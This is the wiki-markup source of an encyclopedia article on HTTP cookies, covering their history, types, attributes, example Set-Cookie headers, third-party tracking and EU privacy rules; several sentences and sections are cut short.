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{{Short description|Small pieces of data stored by a web browser while on a website}}
{{pp-vandalism|small=yes}}
{{Use American English|date=April 2021}}
{{Use dmy dates|date=April 2021}}
{{HTTP}}
An '''HTTP cookie''' (also called '''web cookie''', '''Internet cookie''', '''browser cookie''', or simply '''cookie''') is a small block of [[data (computing)|data]] created by a [[web server]] while a [[user (computing)|user]] is [[browsing]] a [[website]] and placed on the user's computer or other device by the user's [[web browser]]. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session.
Cookies serve useful and sometimes essential functions on the [[World Wide Web|web]]. They enable web servers to store [[program state|stateful]] information (such as items added in the shopping cart in an [[Online shopping|online store]]) on the user's device or to track the user's browsing activity (including clicking particular buttons, [[access control|logging in]], or recording which [[Web browsing history|pages were visited in the past]]).<ref>{{Cite web|title=What are cookies? What are the differences between them (session vs. persistent)?|url=https://www.cisco.com/c/en/us/support/docs/security/web-security-appliance/117925-technote-csc-00.html|id=117925|date=2018-07-17|website=Cisco|language=en}}</ref> They can also be used to save information that the user previously entered into [[Form (HTML)|form field]]s, such as names, addresses, [[password]]s, and [[payment card number]]s for subsequent use.
'''Authentication cookies''' are commonly used by web servers to [[Authentication|authenticate]] that a user is logged in, and with which [[Account verification|account]] they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is [[Encryption|encrypted]]. [[Vulnerability (computing)|Security vulnerabilities]] may allow a cookie's data to be read by an [[Security hacker|attacker]], used to gain access to [[Personal data|user data]], or used to gain access (with the user's credentials) to the website to which the cookie belongs (see [[cross-site scripting]] and [[cross-site request forgery]] for examples).<ref name="UjTred">{{cite web |url=http://news.cnet.com/8301-10789_3-9918582-57.html |first=Robert |last=Vamosi |title=Gmail cookie stolen via Google Spreadsheets |website=News.cnet.com |date=2008-04-14 |access-date=19 October 2017 |archive-url=https://web.archive.org/web/20131209210402/http://news.cnet.com/8301-10789_3-9918582-57.html |archive-date=9 December 2013 |url-status=live}}</ref>
'''Tracking cookies''', and especially [[#Third-party cookie|third-party tracking cookies]], are commonly used as ways to compile long-term records of individuals' [[Web browsing history|browsing histories]] {{Em dash}} a potential [[Internet privacy#HTTP cookies|privacy concern]] that prompted European<ref name="mb6wv">{{cite web |title=What about the "EU Cookie Directive"? |url=http://webcookies.org/faq/#Directive |year=2013 |publisher=WebCookies.org |access-date=19 October 2017 |archive-url=https://web.archive.org/web/20171011095259/https://webcookies.org/faq/#Directive |archive-date=11 October 2017 |url-status=live}}</ref> and U.S. lawmakers to take action in 2011.<ref name="eulaw">{{cite news |url=https://www.bbc.co.uk/news/technology-12668552 |work=BBC |title=New net rules set to make cookies crumble |date=2011-03-08 |access-date=2018-06-21 |archive-url=https://web.archive.org/web/20180810220427/https://www.bbc.co.uk/news/technology-12668552 |archive-date=2018-08-10 |url-status=live}}</ref><ref name="KM1a4">{{cite web |url=http://adage.com/article/digital/sen-rockefeller-ready-a-real-track-bill/227426/ |work=Adage.com |title=Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising |date=2011-05-06 |access-date=2011-06-02 |archive-url=https://web.archive.org/web/20110824225528/http://adage.com/article/digital/sen-rockefeller-ready-a-real-track-bill/227426/ |archive-date=2011-08-24 |url-status=live}}</ref> European law requires that all websites targeting [[European Union]] member states gain "[[informed consent]]" from users before storing non-essential cookies on their device.
==Background==
===Origin of the name===
[[File:Cookie stack.jpg|thumb|HTTP cookies share their name with [[cookie|a popular baked treat]].]]
The term ''cookie'' was coined by web-browser programmer [[Lou Montulli]]. It was derived from the term ''[[magic cookie]]'', which is a packet of data a program receives and sends back unchanged, used by [[Unix]] programmers.<ref name="wdi6I">{{cite web|url=http://dominopower.com/article/where-cookie-comes-from/|title=Where cookie comes from :: DominoPower|website=dominopower.com|access-date=19 October 2017|archive-url=https://web.archive.org/web/20171019174750/http://dominopower.com/article/where-cookie-comes-from/|archive-date=19 October 2017|url-status=live}}</ref><ref name="xVtjM">{{cite web|editor-last1=Raymond|editor-first1=Eric |title=magic cookie|url=http://catb.org/jargon/html/M/magic-cookie.html|website=The Jargon File (version 4.4.7)|access-date=8 September 2017|archive-url=https://web.archive.org/web/20170906230653/http://www.catb.org/jargon/html/M/magic-cookie.html|archive-date=6 September 2017|url-status=live}}</ref>
===History===
Magic cookies were already used in computing when computer programmer [[Lou Montulli]] had the idea of using them in web communications in June 1994.<ref name="N4WV7">{{cite news |url=https://www.nytimes.com/2001/09/04/technology/04COOK.html |work=The New York Times |first=John |last=Schwartz |title=Giving Web a Memory Cost Its Users Privacy |date=2001-09-04 |access-date=2017-02-19 |archive-url=https://
Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of [[Netscape Navigator|Mosaic Netscape]], released on October 13, 1994,<ref name="JgNeY">{{cite web |url=http://wp.netscape.com/newsref/pr/newsrelease1.html |title=Press Release: Netscape Communications Offers New Network Navigator Free On The Internet |access-date=2010-05-22 |archive-url = https://web.archive.org/web/20061207145832/http://wp.netscape.com/newsref/pr/newsrelease1.html |archive-date=2006-12-07
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence.<ref>{{Cite
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk [[electronic mailing list|mailing list]]. A special working group within the [[Internet Engineering Task Force]] (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by [[Brian Behlendorf]] and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.<ref name="RFC2109">{{Cite ietf|rfc=2109 |section=8.3 }}</ref> At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
RFC 2965 added a <code>Set-Cookie2</code> [[HTTP header|header field]], which informally came to be called "RFC 2965-style cookies" as opposed to the original <code>Set-Cookie</code> header field which was called "Netscape-style cookies".<ref name="AGgFj">{{cite web |url=https://staff.washington.edu/fmf/2009/06/19/setting-cookies/ |title=Setting Cookies |date=June 19, 2009 |website=staff.washington.edu |access-date=March 15, 2017 |archive-url=https://web.archive.org/web/20170316175133/https://staff.washington.edu/fmf/2009/06/19/setting-cookies/ |archive-date=March 16, 2017 |url-status=live}}</ref><ref name="V1mES">The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in [http://edbrowse.org/usersguide.html#cook later versions of the documentation] {{Webarchive|url=https://web.archive.org/web/20170316024448/http://edbrowse.org/usersguide.html#cook|date=2017-03-16}} further to RFC 2965's deprecation.</ref> <code>Set-Cookie2</code> was seldom used, however, and was [[deprecate]]d in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world.<ref name="StateMgmt">{{cite web|last1=Hodges|first1=Jeff|last2=Corry|first2=Bil|title='HTTP State Management Mechanism' to Proposed Standard|url=http://www.thesecuritypractice.com/the_security_practice/2011/03/http-state-management-mechanism-to-proposed-standard.html|website=The Security Practice|access-date=17 June 2016|date=6 March 2011|archive-url=https://web.archive.org/web/20160807062741/http://www.thesecuritypractice.com/the_security_practice/2011/03/http-state-management-mechanism-to-proposed-standard.html|archive-date=7 August 2016|url-status=live}}</ref> No modern browser recognizes the <code>Set-Cookie2</code> header field.<ref name="TASE4">{{Cite web|title=Set-Cookie2 - HTTP {{!}} MDN|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie2|access-date=2021-03-08|website=developer.mozilla.org}}</ref>
==Terminology==
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===Session cookie===
A ''session cookie''
===Persistent cookie===
For this reason, persistent cookies are sometimes referred to as ''tracking cookies''<ref>{{Cite journal |last1=Bujlow |first1=Tomasz |last2=Carela-Espanol |first2=Valentin |last3=Lee |first3=Beom-Ryeol |last4=Barlet-Ros |first4=Pere |date=2017 |title=A Survey on Web Tracking: Mechanisms, Implications, and Defenses |journal=Proceedings of the IEEE |volume=105 |issue=8 |pages=1476–1510 |doi=10.1109/JPROC.2016.2637878 |issn=0018-9219|hdl=2117/108437 |hdl-access=free }}</ref><ref>{{Citation |last1=Rasaii |first1=Ali |title=Exploring the Cookieverse: A Multi-Perspective Analysis of Web Cookies |date=2023 |work=Passive and Active Measurement |volume=13882 |pages=623–651 |editor-last=Brunstrom |editor-first=Anna |url=https://link.springer.com/10.1007/978-3-031-28486-1_26 |access-date=2024-08-24 |place=Cham |publisher=Springer Nature Switzerland |language=en |doi=10.1007/978-3-031-28486-1_26 |isbn=978-3-031-28485-4 |last2=Singh |first2=Shivani |last3=Gosain |first3=Devashish |last4=Gasser |first4=Oliver |editor2-last=Flores |editor2-first=Marcel |editor3-last=Fiore |editor3-first=Marco|url-access=subscription }}</ref> because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time.
===Secure cookie===
A ''secure cookie'' can only be transmitted over an encrypted connection (i.e. [[HTTP Secure|HTTPS]]). They cannot be transmitted over unencrypted connections (i.e. [[HTTP]]). This makes the cookie less likely to be exposed to cookie theft via [[Network eavesdropping|eavesdropping]]. A cookie is made secure by adding the <code>Secure</code> flag to the cookie.
==={{anchor|HttpOnly cookie}}Http-only cookie===
An ''http-only cookie'' cannot be accessed by client-side APIs, such as [[JavaScript]]. This restriction eliminates the threat of cookie theft via [[cross-site scripting]] (XSS).<ref>{{Cite journal |last1=Bugliesi |first1=Michele |last2=Calzavara |first2=Stefano |last3=Focardi |first3=Riccardo |last4=Khan |first4=Wilayat |date=2015-09-16 |title=CookiExt: Patching the browser against session hijacking attacks |url=https://www.medra.org/servlet/aliasResolver?alias=iospress&doi=10.3233/JCS-150529 |journal=Journal of Computer Security |volume=23 |issue=4 |pages=509–537 |doi=10.3233/JCS-150529|hdl=10278/3663357 |hdl-access=free }}</ref> However, the cookie remains vulnerable to [[cross-site tracing]] (XST) and [[cross-site request forgery]] (CSRF) attacks. A cookie is given this characteristic by adding the <code>HttpOnly</code> flag to the cookie.
==={{anchor|SameSite cookie}}Same-site cookie===
In 2016 [[Google Chrome]] version 51 introduced<ref name="T8177">{{Cite web|url=https://www.chromestatus.com/feature/4672634709082112|title='SameSite' cookie attribute, Chrome Platform tatus|website=Chromestatus.com|access-date=2016-04-23|archive-url=https://web.archive.org/web/20160509064447/https://www.chromestatus.com/feature/4672634709082112|archive-date=2016-05-09|url-status=live}}</ref> a new kind of cookie with attribute <code>SameSite</code>
The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism"<ref>{{Cite report |url=https://datatracker.ietf.org/doc/draft-ietf-httpbis-rfc6265bis/07/ |title=Cookies: HTTP State Management Mechanism |last1=West |first1=Mike |last2=Wilander |first2=John |date=2020-12-07 |publisher=Internet Engineering Task Force |issue=draft-ietf-httpbis-rfc6265bis-07}}</ref> to update RFC 6265 (if approved).
Chrome, Firefox, and Edge started to support Same-site cookies.<ref name="sJzIz">{{Cite web|url=https://www.lambdatest.com/SameSite-cookie-attribute|title = Browser Compatibility Testing of 'SameSite' cookie attribute}}</ref> The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended to change that default to <code>SameSite=Lax</code> in Chrome 80 planned to be released in February 2020,<ref name="QPJhf">{{Cite web|title=SameSite Cookie Changes in February 2020: What You Need to Know|url=https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html|access-date=2021-04-05|website=Chromium Blog|language=en}}</ref> but due to potential for breakage of those applications/websites that rely on third-party/cross-site cookies and [[COVID-19]] circumstances, Google postponed this change to Chrome 84.<ref name="Ne4hV">{{Cite news|title=Temporarily rolling back SameSite Cookie Changes|url=https://blog.chromium.org/2020/04/temporarily-rolling-back-samesite.html|access-date=2021-04-05|website=Chromium Blog|language=en}}</ref><ref>{{Cite web |last=Schuh |first=Justin |date=2020-05-28 |title=Resuming SameSite Cookie Changes in July |url=https://blog.chromium.org/2020/05/resuming-samesite-cookie-changes-in-july.html |access-date=2024-02-18 |website=Chromium Blog |language=en}}</ref>
===Supercookie===
A ''supercookie'' is a cookie with an origin of a [[top-level ___domain]] (such as <code>.com</code>) or a public suffix (such as <code>.co.uk</code>). Ordinary cookies, by contrast, have an origin of a specific ___domain name, such as <code>example.com</code>.
Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level ___domain or public suffix as the malicious website. For example, a supercookie with an origin of <code>.com</code>
The [[Public Suffix List]]<ref name="oN0iG">{{cite web|url=https://publicsuffix.org/learn/|title=Learn more about the Public Suffix List|website=Publicsuffix.org|access-date=28 July 2016|archive-url=https://web.archive.org/web/20160514000450/https://publicsuffix.org/learn/|archive-date=14 May 2016|url-status=live}}</ref> helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of ___domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains.
====Other uses====
The term
===Zombie cookie===
{{Main|Zombie cookie|Evercookie}}
A ''zombie cookie'' is data and code that has been placed by a [[web server]] on a visitor's computer or other device in a hidden ___location outside the visitor's [[web browser]]'s dedicated cookie
==={{anchor|cookie wall}}Cookie wall===
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==Structure==
A cookie consists of the following components:<ref name="Peng, Weihong 2000">{{cite
# Name
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==Uses==
===Session management===
Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual
Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has been authenticated and grants the user access to its services.
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By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The ''[[Wall Street Journal]]'' found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files.<ref name="tpktn">Rainie, Lee (2012). Networked: The New Social Operating System. p. 237</ref> The data can then be collected and sold to bidding corporations.
==Implementation==
[[File:HTTP cookie exchange.svg|thumb|A possible interaction between a web browser and a web server holding a web page in which the server sends a cookie to the browser and the browser sends it back when requesting another page
Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing [[state (computer science)|states]] (memory of previous events) into otherwise stateless [[HTTP]] transactions. Without cookies, each retrieval of a [[web page]] or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as [[JavaScript]] (unless the cookie's <code>HttpOnly</code> flag is set, in which case the cookie cannot be modified by scripting languages).
The cookie specifications<ref name="httponlyrfc">
* Can support cookies as large as 4,096 [[byte]]s in size.
* Can support at least 50 cookies per [[Internet ___domain|___domain]] (i.e. per website).
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===Setting a cookie===
Cookies are set using the <code>Set-Cookie</code> [[HTTP header|header field]], sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies).
As an example, the browser sends its first HTTP request for the homepage of the <code>www.example.org</code> website:
<syntaxhighlight lang="http">
GET /index.html HTTP/1.1
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</syntaxhighlight>
The server responds with two <code>Set-Cookie</code>
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
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</syntaxhighlight>
The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first,
Next, the browser sends another request to visit the <code>spec.html</code> page on the website. This request contains a <code>Cookie</code>
<syntaxhighlight lang="http">
GET /spec.html HTTP/1.1
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</syntaxhighlight>
This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more <code>Set-Cookie</code>
The value of a cookie may consist of any printable [[ASCII]] character (<code>!</code> through <code>~</code>, [[Unicode]] <code>\u0021</code> through <code>\u007E</code>) excluding {{codes|,|;|d=and}} and [[whitespace character]]s. The name of a cookie excludes the same characters, as well as <code>=</code>, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.
The term ''cookie crumb'' is sometimes used to refer to a cookie's name–value pair.<ref name="CrumbExample">{{cite web |url=http://msdn2.microsoft.com/en-us/library/ms533693.aspx |title=Cookie Property |work=MSDN |publisher=Microsoft |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20080405180445/http://msdn2.microsoft.com/en-us/library/ms533693.aspx |archive-date=2008-04-05 |url-status=live}}</ref>
===Cookie attributes===
In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.
====Domain and
The <code>Domain</code> and <code>Path</code> attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For
If a cookie's <code>Domain</code> and <code>Path</code> attributes are not specified by the server, they default to the ___domain and path of the resource that was requested.<ref name="uMnRY">{{cite
Below is an example of some <code>Set-Cookie</code>
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
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</syntaxhighlight>
The first cookie, <code>LSID</code>, has no <code>Domain</code> attribute, and has a <code>Path</code> attribute set to <code>/accounts</code>. This tells the browser to use the cookie only when requesting pages contained in <code>docs.foo.com/accounts</code> (the ___domain is derived from the request ___domain). The other two cookies, <code>HSID</code> and <code>SSID</code>, would be used when the browser requests any subdomain in <code>.foo.com</code> on any path (for example <code>www.foo.com/bar</code>). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.<ref name="gxcF2">{{cite
====Expires and Max-Age====
The <code>Expires</code> attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form <code>Wdy, DD Mon YYYY HH:MM:SS GMT</code>, or in the form <code>Wdy, DD Mon YY HH:MM:SS GMT</code> for values of YY where YY is greater than or equal to 0 and less than or equal to 69.<ref name="QKuwv">{{cite
Alternatively, the <code>Max-Age</code> attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three <code>Set-Cookie</code>
<syntaxhighlight lang="http">
HTTP/1.0 200 OK
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</syntaxhighlight>
The first cookie, <code>lu</code>, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, <code>made_write_conn</code>, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, <code>reg_fb_gate</code>, has its value changed to
{{As of|2016}} Internet Explorer did not support <code>Max-Age</code>.<ref name="nyQ00">{{Cite web|url=https://inikulin.github.io/cookie-compat/#MOZILLA0001|title=Cookies specification compatibility in modern browsers|date=2016|website=inikulin.github.io|access-date=2016-09-30|archive-url=https://web.archive.org/web/20161002124029/http://inikulin.github.io/cookie-compat/#MOZILLA0001|archive-date=2016-10-02|url-status=live}}</ref><ref name="wASD0">{{cite web|url=http://mrcoles.com/blog/cookies-max-age-vs-expires/|title=HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles|first=Peter|last=Coles|website=Mrcoles.com|access-date=28 July 2016|archive-url=https://web.archive.org/web/20160729011727/http://mrcoles.com/blog/cookies-max-age-vs-expires/|archive-date=29 July 2016|url-status=live}}</ref>
====Secure and HttpOnly====
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The <code>Secure</code> attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via [[HTTPS|secure/encrypted]] connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by [[man-in-the-middle attack]]s. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection.
The <code>HttpOnly</code> attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably [[JavaScript]]), and therefore cannot be stolen easily via [[cross-site scripting]] (a pervasive attack technique).<ref name="Symantec-2007-2nd-exec">{{cite
==Browser settings==
Most modern browsers support cookies and allow the user to disable them. The following are common options:<ref name="eyMbr">{{cite web |first=David |last=Whalen |url=http://www.cookiecentral.com/faq/ |title=The Unofficial Cookie FAQ v2.6 |publisher=Cookie Central |date=June 8, 2002 |access-date=2009-01-04 |archive-url=https://
* To enable or disable cookies completely, so that they are always accepted or always blocked.
* To view and selectively delete cookies using a cookie manager.
* To fully wipe all private data, including cookies.
Add-on tools for managing cookie permissions also exist.<ref name="microsoft2007">{{cite web |url=http://support.microsoft.com/kb/283185 |title=How to Manage Cookies in Internet Explorer 6 |publisher=Microsoft |date=December 18, 2007 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20081228074307/http://support.microsoft.com/kb/283185 |archive-date=December 28, 2008 |url-status=live}}</ref><ref name="bv35c">{{cite web |url=http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top |title=Clearing private data |work=Firefox Support Knowledge base |publisher=Mozilla |date=16 September 2008 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20090103092440/http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top |archive-date=3 January 2009 |url-status=live}}</ref><ref name="zuzB8">{{cite web |url=https://www.google.com/support/chrome/bin/answer.py?answer=95582 |title=Clear Personal Information : Clear browsing data |work=Google Chrome Help |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20090311132912/http://www.google.com/support/chrome/bin/answer.py?answer=95582 |archive-date=2009-03-11 |url-status=live}}</ref><ref name="xGdEB">{{cite web |url=https://www.google.com/support/chrome/bin/answer.py?answer=95626 |title=Clear Personal Information: Delete cookies |work=Google Chrome Help |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20090311132750/http://www.google.com/support/chrome/bin/answer.py?answer=95626 |archive-date=2009-03-11 |url-status=live}}</ref>
=={{anchor|ThirdParty cookie}}Third-party cookie==
{{main|Third-party cookies}}
{{See also|Web analytics#Problems with cookies}}
Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet ___domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called ''third-party cookies''. A third-party cookie, belongs to a ___domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as [[banner advertisement]]s. This opens up the potential for [[web tracking|tracking]] the user's browsing history and is used by advertisers to [[ad server|serve relevant advertisements]] to each user.
[[File:Third party cookie.png|thumb|In this fictional example, an advertising company has placed banners in two websites. By hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two sites.]]
As an example, suppose a user visits <code>www.example.org</code>. This website contains an advertisement from <code>ad.foxytracking.com</code>, which, when downloaded, sets a cookie belonging to the advertisement's ___domain (<code>ad.foxytracking.com</code>). Then, the user visits another website, <code>www.foo.com</code>, which also contains an advertisement from <code>ad.foxytracking.com</code> and sets a cookie belonging to that ___domain (<code>ad.foxytracking.com</code>). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the [[HTTP referer]] header field.
{{as of|2014}}, some websites were setting cookies readable for over 100 third-party domains.<ref name="BYMXD">{{cite web |url=http://webcookies.org/third-party-cookies/ |title=Third party domains |publisher=WebCookies.org |access-date=2014-12-07 |archive-url=https://web.archive.org/web/20141209234746/http://webcookies.org/third-party-cookies/ |archive-date=2014-12-09 |url-status=live}}</ref> On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.<ref name="cOnAw">{{cite web |url=http://webcookies.org/number-of-cookies/ |title=Number of cookies |publisher=WebCookies.org |access-date=2014-12-07 |archive-url=https://web.archive.org/web/20141209235956/http://webcookies.org/number-of-cookies/ |archive-date=2014-12-09 |url-status=live}}</ref>
The older standards for cookies, RFC 2109<ref name="RFC2109"/> and RFC 2965, recommend that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish. Most modern web browsers contain [[privacy settings]] that can [[ad blocker|block]] third-party cookies. Since 2020, [[Apple Safari]],<ref name="zw6bb">{{Cite web|last=Statt|first=Nick|date=2020-03-24|title=Apple updates Safari's anti-tracking tech with full third-party cookie blocking|url=https://www.theverge.com/2020/3/24/21192830/apple-safari-intelligent-tracking-privacy-full-third-party-cookie-blocking|access-date=2020-07-24|website=The Verge|language=en}}</ref> [[Firefox]],<ref name="GSofz">{{Cite web|date=2019-06-04|title=Firefox starts blocking third-party cookies by default|url=https://venturebeat.com/2019/06/04/firefox-enhanced-tracking-protection-blocks-third-party-cookies-by-default/|access-date=2020-07-24|website=VentureBeat|language=en-US}}</ref> and [[Brave (web browser)|Brave]]<ref name="sUPt1">{{Cite web|last=Brave|date=2020-02-06|title=OK Google, don't delay real browser privacy until 2022|url=https://brave.com/ok-google/|access-date=2020-07-24|website=Brave Browser|language=en-US}}</ref> block all third-party cookies by default. Safari allows embedded sites to use Storage Access API to request permission to set first-party cookies. In May 2020, [[Google Chrome]] 83 introduced new features to block third-party cookies by default in its Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first-party cookies.<ref name="xiHRq">{{cite web |last1=Protalinski |first1=Emil |title=Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito |url=https://venturebeat.com/2020/05/19/google-chrome-83/ |website=VentureBeat |access-date=25 June 2020 |date=19 May 2020}}</ref> In April 2024, Chrome postponed third-party cookie blocking by default to 2025.<ref>{{Cite web |last=Amadeo |first=Ron |date=2024-04-24 |title=Google can't quit third-party cookies—delays shut down for a third time |url=https://arstechnica.com/gadgets/2024/04/google-delays-third-party-cookie-death-again-now-scheduled-for-2025/ |access-date=2024-04-25 |website=Ars Technica |language=en-us}}</ref> In July 2024, Google announced plan to avoid blocking third-party cookies by default and instead prompt users to allow third-party cookies.<ref>{{Cite web |last=Lawler |first=Richard |date=2024-07-22 |title=Google's plan to turn off third-party cookies in Chrome is dying |url=https://www.theverge.com/2024/7/22/24203893/google-cookie-tracking-prompt-ad-targeting-privacy-sandbox |access-date=2024-07-29 |website=The Verge |language=en}}</ref>
==Privacy==
{{See also|Do Not Track}}
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a [[privacy policy]]) tends to eliminate any negative effects of such cookie discovery.<ref name="dCj3R">Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33</ref>{{Failed verification|date=October 2022|reason=The article says the opposite: that apriori disclosure of cookies reduces trust, and that nobody reads privacy policies anyway.}}
The [[United States]] government set strict rules on setting cookies in 2000 after it was disclosed that the White House [[Office of National Drug Control Policy|drug policy office]] used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the [[Central Intelligence Agency|CIA]] had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the [[National Security Agency]] (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.<ref name="BnfI7">{{cite news |url=https://www.nytimes.com/2005/12/29/national/29cookies.html |newspaper=New York Times |title=Spy Agency Removes Illegal Tracking Files |date=2005-12-29 |access-date=2017-02-19 |archive-url=https://web.archive.org/web/20111112115242/http://www.nytimes.com/2005/12/29/national/29cookies.html |archive-date=2011-11-12 |url-status=live}}</ref>
===EU cookie directive===
{{Primary sources|date=October 2022|find=GDPR|section}}
In 2002, the European Union launched the [[Directive on Privacy and Electronic Communications]] (e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment.<ref name="JISC">{{cite web|title=EU Cookie Directive, Directive 2009/136/EC|url=http://www.jisclegal.ac.uk/ManageContent/ViewDetail/ID/1347/EU-Cookie-Directive--Directive-2009136EC.aspx|publisher=JISC Legal Information|access-date=31 October 2012|archive-url=https://web.archive.org/web/20121218093525/http://www.jisclegal.ac.uk/ManageContent/ViewDetail/ID/1347/EU-Cookie-Directive--Directive-2009136EC.aspx|archive-date=18 December 2012|url-status=live}}</ref><ref name="ICO reference">{{cite book|title=Privacy and Electronic Communications Regulations|year=2012|publisher=Information Commissioner's Office|url=http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx|access-date=2012-10-31|archive-url=https://web.archive.org/web/20121030103207/http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx|archive-date=2012-10-30|url-status=dead}}</ref> In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket.<ref>{{Cite web|date=2021-01-01|title=Cookies and similar technologies|url=https://ico.org.uk/for-organisations/guide-to-pecr/cookies-and-similar-technologies/|access-date=2021-06-06|website=ico.org.uk|language=en}}</ref>
